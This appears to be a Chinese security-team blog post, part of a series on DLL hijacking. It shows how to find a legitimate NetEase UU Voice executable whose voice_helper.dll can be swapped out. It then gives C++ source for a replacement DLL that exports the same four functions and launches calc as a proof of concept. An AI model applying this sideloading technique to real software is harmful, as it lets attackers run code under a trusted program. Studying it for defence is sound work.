STATEMENT
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。
雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
NO.1 分析可执行文件
目的是要找到一个白程序,然后我们用黑dll去劫持它。
首先是分析可执行文件,包括有没有壳,包括什么语言
https://github.com/horsicq/DIE-engine/releases
来测一下最新版本的网易UU语音
可以看出是c/c++编写,并且没加壳子 x64位
使用api-monitor(注意这里是64位的) ,跟一下loadlibrary等一些函数
在api-monitor打开UUVoice.exe
尽量不去找Know DLLs中的dll,这里其实讲的就是之前写过的 “劫持存在的dll”
注意看 loadlibrary返回的句柄值 可以知道主程序调用了四个导出函数
NO.2 编写恶意dll
根据他调用的导出函数 直接去vs2019创建一个dll工程,写一个新dll(我们先尝试不转发,看看能不能成功,如果不行就要转发 加载正常的dll)
// dllmain.cpp : 定义 DLL 应用程序的入口点。
// 头文件
extern "C" __declspec(dllexport) void RegisterHookListener();
extern "C" __declspec(dllexport) void RemoveAllListeners();
extern "C" __declspec(dllexport) void StartHelperService();
extern "C" __declspec(dllexport) void StopHelperService();
void RegisterHookListener()
{
system("calc");
}
void RemoveAllListeners()
{
}
void StartHelperService()
{
}
void StopHelperService()
{
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH: //DLL进程装载
case DLL_THREAD_ATTACH: //DLL线程装载
case DLL_THREAD_DETACH: //DLL线程卸载
case DLL_PROCESS_DETACH: //DLL进程卸载
break;
}
return TRUE;
}
NO.3 运行
将此dll改名为voice_helper.dll 并将之前程序原本的voice_helper.dll替换掉。
然后运行UUVoice.exe
RECRUITMENT
招聘启事
END
长按识别二维码关注我们
本文始发于微信公众号(雷神众测):dll劫持从0到1-篇3(实战中白加黑的快速探寻)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论